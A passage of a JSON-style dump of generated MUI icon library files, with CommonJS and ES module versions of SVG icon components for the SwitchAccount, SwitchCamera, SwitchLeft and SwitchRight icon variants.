    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-2.73 1.08-5.27 2.75-7.25L12 2h7v7l-2.82-2.82C14.84 7.82 14 9.88 14 12c0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccessShortcutTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.06 8.94 5 8l2.06-.94L8 5l.94 2.06L11 8l-2.06.94L8 11zM8 21l.94-2.06L11 18l-2.06-.94L8 15l-.94 2.06L5 18l2.06.94zm-3.63-8.63L3 13l1.37.63L5 15l.63-1.37L7 13l-1.37-.63L5 11zM12 12c0-2.73 1.08-5.27 2.75-7.25L12 2h7v7l-2.82-2.82C14.84 7.82 14 9.88 14 12c0 3.32 2.1 6.36 5 7.82V22c-4.09-1.59-7-5.65-7-10\"\n}), 'SwitchAccessShortcutTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccount.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6 2c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H8v-1.5c0-1.99 4-3 6-3s6 1.01 6 3z\"\n}), 'SwitchAccount');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccount.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6 2c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H8v-1.5c0-1.99 4-3 6-3s6 1.01 6 3z\"\n}), 'SwitchAccount');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccountOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm10 5c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6-5H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-9.31 14c.95-.63 2.09-1 3.31-1s2.36.37 3.31 1zm9.31-.27C18.53 14.06 16.4 13 14 13s-4.53 1.06-6 2.73V4h12z\"\n}), 'SwitchAccountOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccountOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm10 5c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6-5H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-9.31 14c.95-.63 2.09-1 3.31-1s2.36.37 3.31 1zm9.31-.27C18.53 14.06 16.4 13 14 13s-4.53 1.06-6 2.73V4h12z\"\n}), 'SwitchAccountOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccountRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 20H4V7c0-.55-.45-1-1-1s-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1m3-18H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6 3c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3M7.76 16c1.47-1.83 3.71-3 6.24-3s4.77 1.17 6.24 3z\"\n}), 'SwitchAccountRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccountRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 20H4V7c0-.55-.45-1-1-1s-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1m3-18H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6 3c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3M7.76 16c1.47-1.83 3.71-3 6.24-3s4.77 1.17 6.24 3z\"\n}), 'SwitchAccountRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccountSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm2-4v16h16V2zm8 3c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3M7.76 16c1.47-1.83 3.71-3 6.24-3s4.77 1.17 6.24 3z\"\n}), 'SwitchAccountSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccountSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm2-4v16h16V2zm8 3c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3M7.76 16c1.47-1.83 3.71-3 6.24-3s4.77 1.17 6.24 3z\"\n}), 'SwitchAccountSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccountTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 15.73C9.47 14.06 11.6 13 14 13s4.53 1.06 6 2.73V4H8zM14 5c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm10 5c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6-5H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-9.31 14c.95-.63 2.09-1 3.31-1s2.36.37 3.31 1zm9.31-.27C18.53 14.06 16.4 13 14 13s-4.53 1.06-6 2.73V4h12z\"\n}, \"1\")], 'SwitchAccountTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchAccountTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 15.73C9.47 14.06 11.6 13 14 13s4.53 1.06 6 2.73V4H8zM14 5c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm10 5c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6-5H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-9.31 14c.95-.63 2.09-1 3.31-1s2.36.37 3.31 1zm9.31-.27C18.53 14.06 16.4 13 14 13s-4.53 1.06-6 2.73V4h12z\"\n}, \"1\")], 'SwitchAccountTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchCamera.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-5 11.5V13H9v2.5L5.5 12 9 8.5V11h6V8.5l3.5 3.5z\"\n}), 'SwitchCamera');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchCamera.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-5 11.5V13H9v2.5L5.5 12 9 8.5V11h6V8.5l3.5 3.5z\"\n}), 'SwitchCamera');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchCameraOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M9.88 4h4.24l1.83 2H20v12H4V6h4.05\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11H9V8.5L5.5 12 9 15.5V13h6v2.5l3.5-3.5L15 8.5z\"\n}, \"1\")], 'SwitchCameraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchCameraOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M9.88 4h4.24l1.83 2H20v12H4V6h4.05\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11H9V8.5L5.5 12 9 15.5V13h6v2.5l3.5-3.5L15 8.5z\"\n}, \"1\")], 'SwitchCameraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchCameraRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-5 11.5V13H9v2.5l-3.15-3.15c-.2-.2-.2-.51 0-.71L9 8.5V11h6V8.5l3.15 3.15c.2.2.2.51 0 .71z\"\n}), 'SwitchCameraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchCameraRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65H9.88c-.56 0-1.1.24-1.48.65L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-5 11.5V13H9v2.5l-3.15-3.15c-.2-.2-.2-.51 0-.71L9 8.5V11h6V8.5l3.15 3.15c.2.2.2.51 0 .71z\"\n}), 'SwitchCameraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchCameraSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4h-5.17L15 2H9L7.17 4H2v16h20zm-7 11.5V13H9v2.5L5.5 12 9 8.5V11h6V8.5l3.5 3.5z\"\n}), 'SwitchCameraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchCameraSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4h-5.17L15 2H9L7.17 4H2v16h20zm-7 11.5V13H9v2.5L5.5 12 9 8.5V11h6V8.5l3.5 3.5z\"\n}), 'SwitchCameraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchCameraTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.12 4H9.88L8.05 6H4v12h16V6h-4.05zM15 15.5V13H9v2.5L5.5 12 9 8.5V11h6V8.5l3.5 3.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h4.05l1.83-2h4.24l1.83 2H20zm-5-7H9V8.5L5.5 12 9 15.5V13h6v2.5l3.5-3.5L15 8.5z\"\n}, \"1\")], 'SwitchCameraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchCameraTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.12 4H9.88L8.05 6H4v12h16V6h-4.05zM15 15.5V13H9v2.5L5.5 12 9 8.5V11h6V8.5l3.5 3.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-3.17L15 2H9L7.17 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h4.05l1.83-2h4.24l1.83 2H20zm-5-7H9V8.5L5.5 12 9 15.5V13h6v2.5l3.5-3.5L15 8.5z\"\n}, \"1\")], 'SwitchCameraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 8.62v6.76L5.12 12zM10 5l-7 7 7 7zm4 0v14l7-7z\"\n}), 'SwitchLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 8.62v6.76L5.12 12zM10 5l-7 7 7 7zm4 0v14l7-7z\"\n}), 'SwitchLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 8.62v6.76L5.12 12zM10 5l-7 7 7 7zm4 0v14l7-7z\"\n}), 'SwitchLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 8.62v6.76L5.12 12zM10 5l-7 7 7 7zm4 0v14l7-7z\"\n}), 'SwitchLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 8.62v6.76L5.12 12zm-4.79 2.67c-.39.39-.39 1.02 0 1.41l4.59 4.59c.62.63 1.7.19 1.7-.7V7.41c0-.89-1.08-1.34-1.71-.71zM14 7.41v9.17c0 .89 1.08 1.34 1.71.71l4.59-4.59c.39-.39.39-1.02 0-1.41L15.71 6.7c-.63-.62-1.71-.18-1.71.71\"\n}), 'SwitchLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 8.62v6.76L5.12 12zm-4.79 2.67c-.39.39-.39 1.02 0 1.41l4.59 4.59c.62.63 1.7.19 1.7-.7V7.41c0-.89-1.08-1.34-1.71-.71zM14 7.41v9.17c0 .89 1.08 1.34 1.71.71l4.59-4.59c.39-.39.39-1.02 0-1.41L15.71 6.7c-.63-.62-1.71-.18-1.71.71\"\n}), 'SwitchLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 8.62v6.76L5.12 12zM10 5l-7 7 7 7zm4 0v14l7-7z\"\n}), 'SwitchLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 8.62v6.76L5.12 12zM10 5l-7 7 7 7zm4 0v14l7-7z\"\n}), 'SwitchLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 8.62v6.76L5.12 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 8.62v6.76L5.12 12zM10 5l-7 7 7 7zm4 0v14l7-7z\"\n}, \"1\")], 'SwitchLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 8.62v6.76L5.12 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 8.62v6.76L5.12 12zM10 5l-7 7 7 7zm4 0v14l7-7z\"\n}, \"1\")], 'SwitchLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 15.38V8.62L18.88 12zM14 19l7-7-7-7zm-4 0V5l-7 7z\"\n}), 'SwitchRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 15.38V8.62L18.88 12zM14 19l7-7-7-7zm-4 0V5l-7 7z\"\n}), 'SwitchRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 15.38V8.62L18.88 12zM14 19l7-7-7-7zm-4 0V5l-7 7z\"\n}), 'SwitchRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 15.38V8.62L18.88 12zM14 19l7-7-7-7zm-4 0V5l-7 7z\"\n}), 'SwitchRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SwitchRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 15.38V8.62L18.88 12zm4.79-2.67c.39-.39.39-1.02 0-1.41L15.7 6.71c-.62-.63-1.7-.19-1.7.7v9.17c0 .89 1.08 1.34 1.71.71zM10 16.59V7.41c0-.89-1.08-1.34-1.71-.71L3.7 11.29c-.39.39-.39 1.02 0 1.41l4.59 4.59c.63.63 1.71.19 1.71-.7\"\n}), 'SwitchRightRounded');"
